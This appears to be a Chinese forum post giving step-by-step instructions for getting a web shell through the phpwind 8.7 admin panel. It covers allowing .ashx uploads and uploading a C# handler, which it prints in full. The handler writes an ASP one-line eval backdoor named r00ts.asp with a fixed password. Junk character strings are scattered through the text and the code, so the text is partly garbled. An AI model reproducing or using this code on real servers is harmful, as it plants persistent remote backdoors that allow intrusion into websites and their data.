phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
6 R/ V% l& B9 U6 T' L) `
2 {) J2 ]" X  o, e群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
/ b# r; P9 {0 i2 {+ S% R: k8 c
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

6 R/ z4 ]- x, {. u! R4 m然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

/ Y- H, k' [% ^+ t# g6 ~6 c6 f打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
9 n' o; B* a0 N
下面是代码:
( |( j% z; R! j4 N3 P# g
. r9 T7 s/ d8 _, w9 c- H' ~<%@ WebHandler Language="C#"Class="Handler" %>
) Y- I) I+ D% j4 ]1 Ousing System;
) ?/ P: E; |8 _! N0 {2 Nusing System.Web;
2 ?+ n( x7 ]0 p, W0 {0 Xusing System.IO;
: K5 |* \/ `$ i- e4 g4 }public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
! N4 V$ I! x2 Q" I$ U; V+ N: Ucontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
  s) v$ d6 E, p% d% Xfile1.Flush();
file1.Close();
}
public bool IsReusable {
6 o& d/ U6 n! a& \8 hget {
, ^7 E  L- [( K! W0 V' T  Yreturn false;
}
# c2 C' q6 G' F1 }}
0 P) w: D1 {. z1 T}
/ L" F+ }8 c" x+ k/ I8 S